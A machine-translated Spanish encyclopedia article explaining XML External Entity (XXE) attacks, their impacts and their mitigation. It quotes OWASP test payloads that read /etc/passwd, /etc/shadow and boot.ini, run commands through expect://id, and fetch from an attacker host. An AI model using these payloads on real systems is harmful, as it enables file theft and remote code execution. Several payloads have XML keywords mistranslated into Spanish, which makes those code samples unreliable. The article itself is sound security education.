stringtranslate.com

Ataque de entidad externa XML

El ataque de entidad externa XML , o simplemente ataque XXE , es un tipo de ataque contra una aplicación que analiza la entrada XML . Este ataque ocurre cuando una entrada XML que contiene una referencia a una entidad externa es procesada por un analizador XML configurado de forma débil. Este ataque puede provocar la divulgación de datos confidenciales, ataques DoS , falsificación de solicitudes del lado del servidor , escaneo de puertos desde la perspectiva de la máquina donde se encuentra el analizador y otros [ ¿cuáles? ] impactos en el sistema. [1]

Descripción

El estándar XML 1.0 define la estructura de un documento XML. El estándar define un concepto llamado entidad , que es un término que se refiere a múltiples tipos de unidades de datos. Uno de esos tipos de entidades es una entidad externa analizada por parámetros/generales, a menudo abreviada como entidad externa, que puede acceder a contenido local o remoto a través de un identificador de sistema declarado . Se supone que el identificador de sistema es un URI al que puede acceder el procesador XML al procesar la entidad. Luego, el procesador XML reemplaza las ocurrencias de la entidad externa nombrada con el contenido al que hace referencia el identificador de sistema. Si el identificador de sistema contiene datos contaminados y el procesador XML desreferencia estos datos contaminados, el procesador XML puede revelar información confidencial que normalmente no es accesible para la aplicación. Vectores de ataque similares aplican el uso de DTD externos , hojas de estilo externas, esquemas externos , etc. que, cuando se incluyen, permiten ataques de estilo de inclusión de recursos externos similares.

Los ataques pueden incluir la divulgación de archivos locales, que pueden contener datos confidenciales como contraseñas o datos privados de usuarios, mediante file://esquemas o rutas relativas en el identificador del sistema. Dado que el ataque se produce en relación con la aplicación que procesa el documento XML, un atacante puede utilizar esta aplicación de confianza para pasar a otros sistemas internos, posiblemente divulgando otro contenido interno a través de solicitudes HTTP o lanzando un ataque CSRF a cualquier servicio interno desprotegido. En algunas situaciones, una biblioteca de procesador XML que es vulnerable a problemas de corrupción de memoria del lado del cliente puede ser explotada mediante la desreferenciación de un URI malicioso , lo que posiblemente permita la ejecución de código arbitrario bajo la cuenta de la aplicación . Otros ataques pueden acceder a recursos locales que pueden no dejar de devolver datos, lo que posiblemente afecte la disponibilidad de la aplicación si no se liberan demasiados subprocesos o procesos.

La aplicación no necesita devolver explícitamente la respuesta al atacante para que sea vulnerable a la divulgación de información. Un atacante puede aprovechar la información del DNS para exfiltrar datos a través de nombres de subdominios a un servidor DNS bajo su control. [2]

Factores de riesgo

Ejemplos

Los ejemplos a continuación son del documento de OWASP Testing for XML Injection (WSTG-INPV-07) . [3]

Acceder a un recurso local que puede no regresar

 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [  <!ELEMENT foo CUALQUIERA > <!ENTIDAD xxe SISTEMA "archivo:///dev/random" > ]> <foo> &xxe; </foo>   

Ejecución remota de código

Cuando se carga el módulo "expect" de PHP , puede ser posible la ejecución remota de código con una carga útil modificada.

 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" > ]> <creds> <usuario> &xxe; </usuario> <contraseña> micontraseña </contraseña> </creds>      

Divulgación de /etc/passwd u otros archivos específicos

 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [  <!ELEMENT foo CUALQUIERA > <!ENTIDAD xxe SISTEMA "archivo:///etc/passwd" > ]> <foo> &xxe; </foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [  <!ELEMENT foo CUALQUIERA > <!ENTIDAD xxe SISTEMA "archivo:///etc/shadow" > ]> <foo> &xxe; </foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [  <!ELEMENT foo CUALQUIERA > <!ENTIDAD xxe SISTEMA "archivo:///c:/boot.ini" > ]> <foo> &xxe; </foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [  <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" > ]> <foo> &xxe; </foo>              

Mitigación

Dado que todo el documento XML se comunica desde un cliente no confiable, normalmente no es posible validar o excluir de forma selectiva los datos contaminados dentro del identificador del sistema en el DTD. El procesador XML se puede configurar para utilizar un DTD estático local y rechazar cualquier DTD declarado incluido en el documento XML.

Véase también

Referencias

  1. ^ "¿Qué son los ataques de entidad externa XML (XXE)?". Acunetix . Consultado el 13 de noviembre de 2023 .
  2. ^ "Guía de pruebas OWASP v3" (PDF) . Proyecto de seguridad de aplicaciones web abiertas . 2008 . Consultado el 13 de noviembre de 2023 .
  3. ^ "Pruebas de inyección XML (WSTG-INPV-07), Guía de pruebas de seguridad web v4.2". OWASP . 2020-12-03. Archivado desde el original el 2021-04-20 . Consultado el 2023-03-16 .

Enlaces externos